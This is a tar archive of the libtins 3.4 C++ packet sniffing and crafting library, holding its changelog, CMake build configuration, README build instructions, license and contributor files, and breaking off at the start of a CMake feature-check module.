pax_global_header00006660000000000000000000000064126701734450014523gustar00rootroot0000000000000052 comment=bfe9f9f4a5a09f8208227c52ef217474465edc8b libtins-3.4/000077500000000000000000000000001267017344500130355ustar00rootroot00000000000000libtins-3.4/.gitignore000066400000000000000000000000371267017344500150250ustar00rootroot00000000000000build/** include/tins/config.h libtins-3.4/.gitmodules000066400000000000000000000001621267017344500152110ustar00rootroot00000000000000[submodule "googletest"] path = googletest url = https://github.com/google/googletest.git ignore = dirty libtins-3.4/.travis.yml000066400000000000000000000004361267017344500151510ustar00rootroot00000000000000language: cpp sudo: false compiler: - gcc - clang os: - linux - osx addons: apt: packages: - libpcap-dev - libssl-dev - libboost-all-dev before_script: - mkdir build - cd build - cmake .. -DLIBTINS_ENABLE_CXX11=1 - make tests script: - ctest -Vlibtins-3.4/AUTHORS000066400000000000000000000005211267017344500141030ustar00rootroot00000000000000# Below is a list of people and organizations that have contributed source # code to libtins. Names are listed using the following format: # # Name/Organization Matias Fontanini Santiago Alessandri Bruno Nery Piotr Haber libtins-3.4/CHANGES000066400000000000000000000354661267017344500140460ustar00rootroot00000000000000v3.4 - Wed Mar 9 20:24:54 PST 2016 - Check the secure bit on HandshakeCapturer to detect 2nd packet - Add info members directly into NetworkInterface - Add IPv6 addresses to NetworkInterface::Info - Make *MemoryStream use size_t rather than uint32_t - Add WPA2Decrypter callback interface - Set MACOSX_RPATH to ON - Don't fail configuration if openssl is missing - Build layer 5 as RawPDU if IPv6 has fragment header - Fix examples so they build on gcc 4.6 - Fix flag value for sniffer's immediate mode - Fix IP fragment reassemble when packet has flags DF+MF - Add extract_metadata to main PDU classes - Fix examples to make them work on Windows - Use timercmp/sub and std::chrono to subtract timevals on PacketSender - Build examples against local libtins build - Add uninstall target - Prefix HAVE_ config.h macros with TINS_ - Use compiler intrinsics to swap bytes - Use C++11 mode by default - Add missing TINS_API to PDU classes. - Extend/fix ICMPv6 enum values and unify naming - Return an empty string for dot11 ssid, if ssid is present but empty - Implement new TCP stream follower mechanism - Use ExternalProject_Add rather than including the gtest directory - Fix invalid endian on IP fragment offset on OSX v3.3 - Sun Jan 31 21:06:04 PST 2016 - Add TCP connection close example - Move implementations on utils.h to utils.cpp - Add ICMPv6 Multicast Listener Query Messages support - Add ICMPv6 Multicast Listener Report Message support - Make DNS::Query and DNS::Resource lowercase and deprecate the old names - Change DNS::query/resource::type to query_type and deprecate old name - Add DNS Start Of Authority parsing and serialization - Parse and serialize MX preference field correctly - Add NetworkInterface::friendly_name to get Windows friendly names - Mask 16 bits on random number generated on traceroute example - Fix TCP sequence number addition/subtraction when wrapping around - Use 802.1ad protocol flag when seralizing stacked Dot1Q - Code cleanup and use same syntax on the entire project - Correctly serialize PPPoE session packets - Fix IPv6 extension headers parsing/serialization - Include examples before src to avoid duplicate tins target issue - Add MPLS PDU and hook it up with ICMP extensions - Set UDP checksum to 0xffff if it's 0 - Don't define TINS_STATIC in config.h - Fix invalid RSNEAPOL parsing issue - Remove special clang on OSX case when building gtest - Update pseudoheader_checksum signature - Fix overall checksum calculation - Set ICMP payload length without padding if no extensions are present - Export classes on Windows shared lib builds - Use google/googletest submodule and update to HEAD - Remove unused cassert header inclusions - Add input/output memory stream classes port PDU classes to use them - Add extensions for ICMP/ICMPv6 - Fix RSNInformation issues on big endian architectures - Add IP::fragment_offset and IP::flags - Don't set Ethernet type if inner PDU type is unknown - Don't run IP source address overwrite tests on OSX - Always calculate IP/IPv6 checksum - Fix invalid constant value on PPPoE - Define default constructor for PKTAP - Guard 802.11 parsing code on PPI around HAVE_DOT11 - Fix parsing of Dot11 packets encapsulated on PPI having FCS-at-end - Fix DataLinkType typo on doxygen docs - Update docs on sniff_loop handle persistency - Use uint32_t for DNS resource TTL setter - Erase streams when they're reassembed on IPv4Reassembler - Make all exceptions derive from exception_base - Add remove_option member to IP, TCP, Dot11, ICMPv6, DHCP and DHCPv6 - Allow HW addresses to be 00:00:00:00:00 on NetworkInterface::info - Increment option size when adding a new DHCPv6 option - Use NOMINMAX on examples - Add metric field to RouteEntry - Allow setting immediate mode on Sniffer - Use one flags field for all flags on SnifferConfiguration - Add ICMP responses example - Add interfaces_info example - Fix bug on SessionKeys::SessionKeys - Fix compilation errors on android platform - Fix example compilation on Windows - Add PacketWriter::write overload that takes a Packet - Use different IP addresses on IP tests depending on OS - Allow retrieving keys on WPA2Decrypter - Add NetworkInterface::is_up and NetworkInterface::info - Add NetworkInterface::Info::is_up - Fix compilation warnings on Windows x64 - Fix FindPCAP.cmake to find winpcap on x64 - Fix more tests warnings triggered on Windows - Fix tests compilation warnings on Windows - Fix error on VC triggered by pcap redefining the "inline" keyword - Soften DNS parsing rules - Replace WIN32 macro with _WIN32 - Fix IPv6Address::to_string on Windows - Fix DNS issues triggered on VC - Add google test as git submodule - Perserve IP protocol when using RawPDU - Use pcap_sendpacket by default to send packets on Windows - Don't allow receiving l2 packets on windows - Added RadioTap channel map type - Made rsn_information() a const member function to make Dot11ManagementFrame immutable - Ensure HAVE_CXX11 is checked when defining TINS_IS_CXX11 - Use one integer field for all flags on TCP - Fix invalid DNS IPv4 address parsing on big endian arch - Don't compile WPA2 test if LIBTINS_ENABLE_WPA2=0 - Add Dot11 radio measurement name corresponding to IEEE 802.11-2012 ------------------------------------------------------------------------------- v3.2 - Fri Mar 20 22:12:23 PST 2015 - Added include guard for config.h. - The functor used on BaseSniffer::sniff_loop can now take a Packet. - Added mcs, tx_flags, ext and data_retries options to RadioTap. - Fixed big endian representation of RadioTap header. - RadioTap's dbm_signal and dbm_noise are now signed. - RadioTap now throws if an option is not present when getting its value. - TKIP decryption now works correctly on packets from AP to STA. - Added support for PKTAP header. - Fixed endian issue on IPv4Address::ip_to_int on Windows. - Fixed IP parsing when total length is 0 due to TCP segmentation offload. - Re-added support for pkg-config. - TCPStreamFollower now calls PDU::find_pdu instead of PDU::rfind_pdu. - Fixed assertion throw caused by DNS parsing on Windows on debug mode. - Added throw on BSD when trying to send_recv L3 packets. - Added Loopback::matches_response. - Removed obsolete autotools files. - Fixed exception thrown when an interface didn't have an IP address on NetworkInterface. - Added NetworkInterface::is_loopback. - Moved all headers to the directory include/tins. - Fixed compilation warning on TCPStramFollower due to signed to unsigned conversion on integral constant. - BaseSniffer::get_pcap_handle is now public. - PPPoE session packets are now parsed correctly. - Fixed invalid Loopback protocol detection on FreeBSD/OSX. - Fixed OSX IP packet sending issue. - Added useful constructors to RawPDU. - Fixed compilation errors on FreeBSD. - Improved documentation on several classes. - Fixed parsing bug when allocating IP over IP packets. - Fixed Windows network interface naming. - Utils::network_interface returns pcap compatible names on Windows. - NetworkInterface::name now works on Windows. - Added documentation generation through the build system. - Added SnifferConfiguration class. - Fixed bug on Dot3 serialization. - Added OfflinePacketFilter class. - Renamed NOEXCEPT macro to TINS_NOEXCEPT. - Added DataLinkType class. - IPv4Address now uses inet_pton when constructing from string. ------------------------------------------------------------------------------- v3.1 - Sun Aug 24 21:39:43 ART 2014 - Fixed ICMPv6 checksum error on serialization. - Fixed empty domain name encoding on DNS. - Changed the build system to CMake. ------------------------------------------------------------------------------- v3.0 - Thu Aug 7 21:39:09 ART 2014 - Timestamps can now be constructed from std::chrono::duration. - Packets can now be constructed from a PDU pointer and take ownership of it. - All protocols now set the next layer protocol flag, regardless if it was already set. This was not done in some protocols, like EthernetII, and as a consequence if the network layer protocol was replaced by other, the packet would be serialized incorrectly. - Fixed invalid parsing of some unknown DNS records. - Fixed unaligned memory accesses that were not supported under ARMv4 and ARMv5. - Added BaseSniffer::set_extract_raw_pdus. - Reduced minimum automake version to 1.11. - Added Utils::to_string(PDU::PDUType). - Fixed error compilations on Windows. - Fixed ICMPv6 checksum calculation. - Added method in IP and TCP to emplace an option (C++11 only). - Added small option optimization to PDUOption. - Fixed error compilation on RSNInformation. - Renamed ICMP::check to ICMP::checksum. - Added Sniffer support to set interface to promiscuous mode. - TCPStreamFollower now handles overlapping fragments correctly. - Fixed bugs in TCPStreamFollower which didn't allow it to follow stream correctly. - TCPStreamFollower now doesn't clear its state after every call to TCPStreamFollower::follow_streams. - Added IPv6 flag check to pdu_flag_to_ip_type. - Added DHCP::hostname to extract the hostname options. - Removed extra qualifier on SessionKeys::decrypt_unicast which produced compilation errors on some platforms. - PacketSender::send now uses PDU::matches_flag to match specific PDU types. - Removed 'no newline at end of file' warnings. - Fixed bug when calling BIOCIMMEDIATE on *BSD. - Fixed bug on PacketSender::send_recv which didn't work under *BSD. - Fixed bug triggered by not including the string header. ------------------------------------------------------------------------------- v2.0 - Thu Jan 23 11:09:38 ART 2014 - DNSResourceRecord was removed. Now DNS records are added using DNS::Resource. - tins.h now includes ppi.h. - Done significant improvements in the speed of DNS parsing. - Added PDUOption<>::to<> which converts a PDUOption to a specific type. - Layer 3 packets sent using PacketSender::send_recv for which the answer is a different PDU type. - ICMP::gateway now uses IPv4Address. - Added support for ICMP address mask request/reply. - Fixed bug in PacketSender when using send_recv and a layer 2 PDU. The interface in which the packet was sent was not the default_interface set when the sender was constructed. - IP packets sent using PacketSender::send_recv now match ICMP responses. - Added support for ICMP timestamp request/reply packets. ICMP::matches_response now works with these types of packets as well. - Added support for reassembling of fragmented IP packets via the IPv4Reassembler class. - Fragmented IP packet's inner_pdu PDUs are not decoded now. - Added 1000ms as the default read timeout used when calling pcap_open_live. Added BaseSniffer::set_timeout to modify this parameter. - Added the --disable-dot11 configure switch. - Added support for IPSec. - Fixed bug triggered when ifaddrs::ifa_addr was null in NetworkInterface::addresses. - Added another overload of Utils::route_entries which returns the result either than storing it in a parameter. - Added ARP monitor, WPS detector, DNS queries sniffer and DNS spoofer examples. - Added another Sniffer constructor which doesn't expect the maximum capture size. - Added tins_cast as a replacement for dynamic_cast on PDUs. ------------------------------------------------------------------------------- v1.2 - Mon oct 7 23:33:49 ART 2013 - Added BaseSniffer::begin and BaseSniffer::end. - BaseSniffer::next_packet uses pcap_loop instead of pcap_next, which doesn't work well on some linux distributions. - Added PPI PDU class. - Fixed a bug in EthernetII triggered when the size of the whole frame was lower than 60 bytes. - Added AddressRange class and IPv4Address, IPv6Address and HWAddress<>::operator/. - Added is_broadcast, is_multicast and is_unicast to IPv4, IPv6 and HWAddress. - Added is_private and is_loopback methods to IPv4 and IPv6 addresses. - Done some optimizations on TCP's constructor from buffer. - Added helper functions to Dot11Data to retrieve the source, destination and BSSID addresses. - Fixed bugs in DNS triggered when parsing MX and unknown records. - BaseSniffer::next_packet now iterates until a valid packet is found. - TCP::get_flag is now const. - The --disable-wpa2 now works as expected. v1.1 - Wed Jun 5 09:03:37 ART 2013 - Implemented std::hash specialization for IPv4, IPv6 and HWAddress<> types. - Added a RSNHandshakeCapturer class. - Added WPA2Decrypter class. - IEEE 802.11 frames are not parsed if the RadioTap FAILED_FCS flag is on. - RadioTap now calculates its size everytime it's serialized. - Splitted the dot11.h and dot11.cpp files into several files to speed up compilation times. - Added HWAddress<>::is_broadcast and HWAddress::operator[]. - Fixed a bug triggered when parsing Dot11QoSData frames. v1.0 - Tue Apr 23 20:40:57 ART 2013 - Link layer protocol PDUs now don't hold a NetworkInterface. This led to changes in their constructors. - Removed the obsolete PDU* parameter taken by several classes' constructors. - IP now sets the sender's address automatically when no link layer PDU is used. - IP, TCP and UDP now calculate the checksum everytime they're serialized. - Added PDU::rfind_pdu. - Defined several exception types. - Implemented matches_response on several protocols. - PacketSender is now movable. - Added an overload of add_option that takes an rvalue-reference in IP, TCP, DHCP, ICMPv6 and Dot11. - Added support for GNU/kFreeBSD. - Removed several deprecated methods, such as PDU::clone_packet. - Added PacketSender::send(PDU&, NetworkInterface). - Normalized the TLV options naming conventions in all of the classes that used them. - Added support for Dot1Q, STP, PPPoE protocols. - Made some important optimizations on PDUOption<>'s constructors. - Added Utils::resolve_domain and Utils::resolve_domain6 ------------------------------------------------------------------------------- v0.3 - Thu Jan 31 16:47:27 ART 2013 - Added IPv6, ICMPv6 and DHCPv6 classes. - Added support for Loopback interfaces and the Linux Crooked Capture pseudo protocol. - Added support for IPv6 records in DNS. - Added Packet/RefPacket class. - Added support for FreeBSD, OSX and Windows. - Added C++11 move semantics to several classes. - Done a complete rewrite of the build system; it now uses libtool. - Fixed several bugs in DNS. ------------------------------------------------------------------------------- v0.2 - Sat Oct 20 11:26:40 2012 - Added support for big endian architectures. - Simplified several interfaces. - Added IPv4Address and HWAddress class to simplify handling IP and hardware addresses. - Added NetworkInterface class to abstract network interfaces. - Added TCPStreamFollower class to follow TCP streams on the fly. - Added WEPDecrypter class to decrypt WEP-encrypted 802.11 data frames on the fly. - Added several new PDUs: Loopback, IEEE802_3, LLC, DNS. - Added support for reading and writing pcap files. - Moved to BSD-2 license. libtins-3.4/CMakeLists.txt000066400000000000000000000221221267017344500155740ustar00rootroot00000000000000CMAKE_MINIMUM_REQUIRED(VERSION 2.8.1) PROJECT(libtins) # Compile in release mode by default IF(NOT CMAKE_BUILD_TYPE) MESSAGE(STATUS "Setting build type to 'RelWithDebInfo' as none was specified.") SET(CMAKE_BUILD_TYPE RelWithDebInfo) ELSE(NOT CMAKE_BUILD_TYPE) MESSAGE(STATUS "Using specified '${CMAKE_BUILD_TYPE}' build type.") ENDIF(NOT CMAKE_BUILD_TYPE) # Compilation flags. IF(MSVC) # Don't always use Wall, since VC's /Wall is ridiculously verbose. SET(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /W3") # Disable VC secure checks, since these are not really issues. ADD_DEFINITIONS("-D_CRT_SECURE_NO_WARNINGS=1") ADD_DEFINITIONS("-D_SCL_SECURE_NO_WARNINGS=1") ADD_DEFINITIONS("-DNOGDI=1") ELSE() SET(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wall") ENDIF() IF(APPLE) # This is set to ON as of policy CMP0042 SET(CMAKE_MACOSX_RPATH ON) ENDIF() # Build output checks OPTION(LIBTINS_BUILD_SHARED "Build libtins as a shared library." ON) IF(LIBTINS_BUILD_SHARED) MESSAGE( STATUS "Build will generate a shared library. " "Use LIBTINS_BUILD_SHARED=0 to perform a static build" ) SET(LIBTINS_TYPE SHARED) ELSE(LIBTINS_BUILD_SHARED) MESSAGE(STATUS "Build will generate a static library.") SET(LIBTINS_TYPE STATIC) ADD_DEFINITIONS("-DTINS_STATIC=1") ENDIF(LIBTINS_BUILD_SHARED) # The version number. SET(LIBTINS_VERSION_MAJOR 3) SET(LIBTINS_VERSION_MINOR 4) SET(LIBTINS_VERSION "${LIBTINS_VERSION_MAJOR}.${LIBTINS_VERSION_MINOR}") # Required Packages SET(CMAKE_MODULE_PATH ${CMAKE_MODULE_PATH} "${CMAKE_SOURCE_DIR}/cmake/Modules/") # Look for libpcap FIND_PACKAGE(PCAP REQUIRED) # Set some Windows specific flags IF(WIN32) # We need to link against these libs SET(LIBTINS_OS_LIBS Ws2_32.lib Iphlpapi.lib) # Add the NOMINMAX macro to avoid Windows' min and max macros. ADD_DEFINITIONS(-DNOMINMAX) ENDIF(WIN32) INCLUDE(ExternalProject) # ******************* # Compilation options # ******************* # Always check for C++ features INCLUDE(CheckCXXFeatures) IF(HAS_GCC_BUILTIN_SWAP) SET(TINS_HAVE_GCC_BUILTIN_SWAP ON) ENDIF() # C++11 support OPTION(LIBTINS_ENABLE_CXX11 "Compile libtins with c++11 features" ON) IF(LIBTINS_ENABLE_CXX11) # We only use declval and decltype on gcc/clang as VC fails to build that code, # at least on VC2013 IF(HAS_CXX11_RVALUE_REFERENCES AND HAS_CXX11_FUNCTIONAL AND HAS_CXX11_CHRONO AND ((HAS_CXX11_DECLVAL AND HAS_CXX11_DECLTYPE) OR MSVC)) SET(TINS_HAVE_CXX11 ON) MESSAGE(STATUS "Enabling C++11 features") SET(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${CXX11_COMPILER_FLAGS}") ELSE() MESSAGE(WARNING "The compiler doesn't support the necessary C++11 features. " "Disabling C++11 on this build") ENDIF() ELSE(LIBTINS_ENABLE_CXX11) MESSAGE( WARNING "Disabling C++11 features. Use LIBTINS_ENABLE_CXX11=1 to enable them. " "Unless you are using an old compiler, you should enable this option, " "as it increases the library's performance") ENDIF(LIBTINS_ENABLE_CXX11) # IEEE 802.11 and WPA2 decryption support OPTION(LIBTINS_ENABLE_DOT11 "Compile libtins with IEEE 802.11 support" ON) OPTION(LIBTINS_ENABLE_WPA2 "Compile libtins with WPA2 decryption features (requires OpenSSL)" ON) IF(LIBTINS_ENABLE_DOT11) SET(TINS_HAVE_DOT11 ON) MESSAGE(STATUS "Enabling IEEE 802.11 support.") IF(LIBTINS_ENABLE_WPA2) FIND_PACKAGE(OpenSSL) IF(OPENSSL_FOUND) SET(TINS_HAVE_WPA2_DECRYPTION ON) MESSAGE(STATUS "Enabling WPA2 decryption support.") ELSE() MESSAGE(WARNING "Disabling WPA2 decryption support since OpenSSL was not found") # Default this to empty strings SET(OPENSSL_INCLUDE_DIR "") SET(OPENSSL_LIBRARIES "") ENDIF() ELSE(LIBTINS_ENABLE_WPA2) MESSAGE(STATUS "Disabling WPA2 decryption support.") ENDIF(LIBTINS_ENABLE_WPA2) ENDIF(LIBTINS_ENABLE_DOT11) OPTION(LIBTINS_ENABLE_ACK_TRACKER "Enable TCP ACK tracking support" ON) IF(LIBTINS_ENABLE_ACK_TRACKER AND TINS_HAVE_CXX11) FIND_PACKAGE(Boost) IF (Boost_FOUND) MESSAGE(STATUS "Enabling TCP ACK tracking support.") INCLUDE_DIRECTORIES(Boost_INCLUDE_DIRS) SET(TINS_HAVE_ACK_TRACKER ON) ELSE() MESSAGE(WARNING "Disabling ACK tracking support as boost.icl was not found") SET(TINS_HAVE_ACK_TRACKER OFF) ENDIF() ELSE() SET(TINS_HAVE_ACK_TRACKER OFF) MESSAGE(STATUS "Disabling ACK tracking support") ENDIF() OPTION(LIBTINS_ENABLE_WPA2_CALLBACKS "Enable WPA2 callback interface" ON) IF(LIBTINS_ENABLE_WPA2_CALLBACKS AND TINS_HAVE_WPA2_DECRYPTION AND TINS_HAVE_CXX11) SET(STATUS "Enabling WPA2 callback interface") SET(TINS_HAVE_WPA2_CALLBACKS ON) ENDIF() # Use pcap_sendpacket to send l2 packets rather than raw sockets IF(WIN32) SET(USE_PCAP_SENDPACKET_DEFAULT ON) ELSE(WIN32) SET(USE_PCAP_SENDPACKET_DEFAULT OFF) ENDIF(WIN32) OPTION(LIBTINS_USE_PCAP_SENDPACKET "Use pcap_sendpacket to send l2 packets" ${USE_PCAP_SENDPACKET_DEFAULT}) IF(LIBTINS_USE_PCAP_SENDPACKET) SET(TINS_HAVE_PACKET_SENDER_PCAP_SENDPACKET ON) MESSAGE(STATUS "Using pcap_sendpacket to send l2 packets.") ENDIF(LIBTINS_USE_PCAP_SENDPACKET) # Add a target to generate API documentation using Doxygen FIND_PACKAGE(Doxygen QUIET) IF(DOXYGEN_FOUND) CONFIGURE_FILE( ${CMAKE_CURRENT_SOURCE_DIR}/docs/Doxyfile.in ${CMAKE_CURRENT_BINARY_DIR}/Doxyfile @ONLY ) ADD_CUSTOM_TARGET( docs ${DOXYGEN_EXECUTABLE} ${CMAKE_CURRENT_BINARY_DIR}/Doxyfile WORKING_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR} COMMENT "Generating API documentation with Doxygen" VERBATIM ) ENDIF(DOXYGEN_FOUND) # The library output directory SET(CMAKE_LIBRARY_OUTPUT_DIRECTORY ${PROJECT_BINARY_DIR}/lib) SET(CMAKE_ARCHIVE_OUTPUT_DIRECTORY ${PROJECT_BINARY_DIR}/lib) # Configuration file CONFIGURE_FILE( "${PROJECT_SOURCE_DIR}/include/tins/config.h.in" "${PROJECT_SOURCE_DIR}/include/tins/config.h" ) # Support for pkg-config SET(CMAKE_INSTALL_LIBDIR lib) SET(pkgconfig_prefix ${CMAKE_INSTALL_PREFIX}) SET(pkgconfig_exec_prefix ${CMAKE_INSTALL_PREFIX}) SET(pkgconfig_libdir ${CMAKE_INSTALL_PREFIX}/${CMAKE_INSTALL_LIBDIR}) SET(pkgconfig_version ${LIBTINS_VERSION}) CONFIGURE_FILE(${CMAKE_CURRENT_SOURCE_DIR}/libtins.pc.in ${CMAKE_CURRENT_BINARY_DIR}/libtins.pc @ONLY) INSTALL( FILES ${CMAKE_CURRENT_BINARY_DIR}/libtins.pc DESTINATION ${CMAKE_INSTALL_LIBDIR}/pkgconfig ) # Confiugure the uninstall script CONFIGURE_FILE( "${CMAKE_CURRENT_SOURCE_DIR}/cmake/cmake_uninstall.cmake.in" "${CMAKE_CURRENT_BINARY_DIR}/cmake_uninstall.cmake" IMMEDIATE @ONLY ) # Add uninstall target ADD_CUSTOM_TARGET(uninstall COMMAND ${CMAKE_COMMAND} -P ${CMAKE_CURRENT_BINARY_DIR}/cmake_uninstall.cmake) # ****************** # Add subdirectories # ****************** ADD_SUBDIRECTORY(include) ADD_SUBDIRECTORY(examples) ADD_SUBDIRECTORY(src) # Only include googletest if the git submodule has been fetched IF(EXISTS "${CMAKE_SOURCE_DIR}/googletest/CMakeLists.txt") # Enable tests and add the test directory MESSAGE(STATUS "Tests have been enabled") SET(GOOGLETEST_ROOT ${CMAKE_SOURCE_DIR}/googletest) SET(GOOGLETEST_INCLUDE ${GOOGLETEST_ROOT}/googletest/include) SET(GOOGLETEST_BINARY_DIR ${CMAKE_CURRENT_BINARY_DIR}/googletest) SET(GOOGLETEST_LIBRARY ${GOOGLETEST_BINARY_DIR}/googletest) ExternalProject_Add( googletest DOWNLOAD_COMMAND "" SOURCE_DIR ${GOOGLETEST_ROOT} BINARY_DIR ${GOOGLETEST_BINARY_DIR} CMAKE_CACHE_ARGS "-DBUILD_GTEST:bool=ON" "-DBUILD_GMOCK:bool=OFF" "-Dgtest_force_shared_crt:bool=ON" INSTALL_COMMAND "" ) # Make sure we build googletest before anything else ADD_DEPENDENCIES(tins googletest) ENABLE_TESTING() ADD_SUBDIRECTORY(tests) ELSE() MESSAGE(STATUS "googletest git submodule is absent. Run `git submodule init && git submodule update` to get it") ENDIF() # ********************************** # CMake project configuration export # ********************************** # Add all targets to the build-tree export set EXPORT( TARGETS tins FILE "${PROJECT_BINARY_DIR}/libtinsTargets.cmake" ) # Export the package for use from the build-tree # (this registers the build-tree with a global CMake-registry) EXPORT(PACKAGE libtins) # Create the libtinsConfig.cmake and libtinsConfigVersion.cmake files # for the build tree SET(CONF_INCLUDE_DIRS "${PROJECT_SOURCE_DIR}/include") CONFIGURE_FILE( cmake/libtinsConfig.cmake.in "${PROJECT_BINARY_DIR}/libtinsConfig.cmake" @ONLY ) CONFIGURE_FILE( cmake/libtinsConfigVersion.cmake.in "${PROJECT_BINARY_DIR}/libtinsConfigVersion.cmake" @ONLY ) # Install the libtinsConfig.cmake and libtinsConfigVersion.cmake INSTALL( FILES "${PROJECT_BINARY_DIR}/libtinsConfig.cmake" "${PROJECT_BINARY_DIR}/libtinsConfigVersion.cmake" DESTINATION CMake COMPONENT dev ) # Install the export set for use with the install-tree INSTALL( EXPORT libtinsTargets DESTINATION CMake COMPONENT dev ) libtins-3.4/CONTRIBUTING.md000066400000000000000000000025331267017344500152710ustar00rootroot00000000000000# Contributing Bug reports and enhancements to the library are really valued and appreciated! # Bug reports If you find a bug, please report it! Bugs on the library are taken seriously and a patch for them is usually pushed on the same day. When reporting a bug, please make sure to indicate the platform (e.g. GNU/Linux, Windows, OSX) in which you came across the issue, as this is essential to finding the cause. ## Packet parsing bugs If you find a bug related to packet parsing (e.g. a field on a packet contains an invalid value), please try to provide a pcap file that contains the packet that was incorrectly parsed. Doing this will make it very simple to find the issue, plus you will be asked to provide this file anyway, so this just makes things easier. # Pull requests Pull requests are very welcomed. When doing a pull request please: * Base your PR branch on the `develop` branch. This is **almost always** pointing to the same commit as `master`, so you shouldn't have any issues changing the destination branch to `develop` at the time you try to do the pull request if you based your code on `master`. * Your code will be compiled and tests will be run automatically by the travis and appveyor CI tools. If your code has issues on any of the tested platforms (GNU/Linux, Windows and OSX), please fix it or otherwise the PR won't be merged. libtins-3.4/LICENSE000066400000000000000000000024301267017344500140410ustar00rootroot00000000000000Copyright (c) 2012-2014, Matias Fontanini All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. libtins-3.4/README.md000066400000000000000000000073741267017344500143270ustar00rootroot00000000000000# libtins [![Build status](https://travis-ci.org/mfontanini/libtins.svg?branch=master)](https://travis-ci.org/mfontanini/libtins) [![Build status](https://ci.appveyor.com/api/projects/status/33n8ib68nx3tptib/branch/master?svg=true)](https://ci.appveyor.com/project/mfontanini/libtins/branch/master) libtins is a high-level, multiplatform C++ network packet sniffing and crafting library. Its main purpose is to provide the C++ developer an easy, efficient, platform and endianess-independent way to create tools which need to send, receive and manipulate specially crafted packets. In order to read tutorials, examples and checkout some benchmarks of the library, please visit: http://libtins.github.io/ ## Compiling ## [libtins](http://libtins.github.io/) depends on [libpcap](http://www.tcpdump.org/) and [openssl](http://www.openssl.org/), although the latter is not necessary if some features of the library are disabled. In order to compile, execute: ```Shell # Create the build directory mkdir build cd build # Configure the project. Add any relevant configuration flags cmake ../ # Compile! make ``` ### Static/shared build Note that by default, only the shared object is compiled. If you would like to generate a static library file, run: ```Shell cmake ../ -DLIBTINS_BUILD_SHARED=0 ``` The generated static/shared library files will be located in the _build/lib_ directory. ### C++11 support libtins is noticeable faster if you enable _C++11_ support. Therefore, if your compiler supports this standard, then you should enable it. In order to do so, use the _LIBTINS_ENABLE_CXX11_ switch: ```Shell cmake ../ -DLIBTINS_ENABLE_CXX11=1 ``` ### TCP ACK tracker The TCP ACK tracker feature requires the boost.icl library (header only). This feature is enabled by default but will be disabled if the boost headers are not found. You can disable this feature by using: ```Shell cmake ../ -DLIBTINS_ENABLE_ACK_TRACKER=0 ``` If your boost installation is on some non-standard path, use the parameters shown on the [CMake FindBoost help](https://cmake.org/cmake/help/v3.0/module/FindBoost.html) ### WPA2 decryption If you want to disable _WPA2_ decryption support, which will remove openssl as a dependency for compilation, use the _LIBTINS_ENABLE_WPA2_ switch: ```Shell cmake ../ -DLIBTINS_ENABLE_WPA2=0 ``` ### IEEE 802.11 support If you want to disable IEEE 802.11 support(this will also disable RadioTap and WPA2 decryption), which will reduce the size of the resulting library in around 20%, use the _LIBTINS_ENABLE_DOT11_ switch: ```Shell cmake ../ -DLIBTINS_ENABLE_DOT11=0 ``` ## Installing ## Once you're done, if you want to install the header files and the shared object, execute as root: ```Shell make install ``` This will install the shared object typically in _/usr/local/lib_. Note that you might have to update ldconfig's cache before using it, so in order to invalidate it, you should run(as root): ```Shell ldconfig ``` ## Running tests ## You may want to run the unit tests on your system so you make sure everything works. In order to do so, you need to follow these steps: ```Shell # This will fetch the googletest submodule, needed for tests git submodule init git submodule update mkdir build cd build # Use any options you want cmake .. # Compile tests make tests # Run them make test ``` If you find that any tests fail, please create an ticket in the issue tracker indicating the platform and architecture you're using. ## Examples ## You might want to have a look at the examples located in the "examples" directory. The same samples can be found online at: http://libtins.github.io/examples/ ## Contributing ## If you want to report a bug or make a pull request, please have a look at the [contributing](CONTRIBUTING.md) file before doing so.libtins-3.4/THANKS000066400000000000000000000002641267017344500137520ustar00rootroot00000000000000We'd like to thank the following people, who have been of great help through the development of libtins: - Raúl Benencia - For creating the Debian package. libtins-3.4/cmake/000077500000000000000000000000001267017344500141155ustar00rootroot00000000000000libtins-3.4/cmake/Modules/000077500000000000000000000000001267017344500155255ustar00rootroot00000000000000libtins-3.4/cmake/Modules/CheckCXXFeatures.cmake000066400000000000000000000152631267017344500216350ustar00rootroot00000000000000# - Check which parts of the C++11 standard the compiler supports # # When found it will set the following variables # # CXX11_COMPILER_FLAGS - the compiler flags needed to get C++11 features # # HAS_CXX11_AUTO - auto keyword # HAS_CXX11_AUTO_RET_TYPE - function declaration with deduced return types # HAS_CXX11_CLASS_OVERRIDE - override and final keywords for classes and methods # HAS_CXX11_CONSTEXPR - constexpr keyword # HAS_CXX11_CSTDINT_H - cstdint header # HAS_CXX11_DECLTYPE - decltype keyword # HAS_CXX11_DECLVAL - declval feature # HAS_CXX11_FUNC - __func__ preprocessor constant # HAS_CXX11_INITIALIZER_LIST - initializer list # HAS_CXX11_LAMBDA - lambdas # HAS_CXX11_LIB_REGEX - regex library # HAS_CXX11_LONG_LONG - long long signed & unsigned types # HAS_CXX11_NULLPTR - nullptr # HAS_CXX11_RVALUE_REFERENCES - rvalue references # HAS_CXX11_SIZEOF_MEMBER - sizeof() non-static members # HAS_CXX11_STATIC_ASSERT - static_assert() # 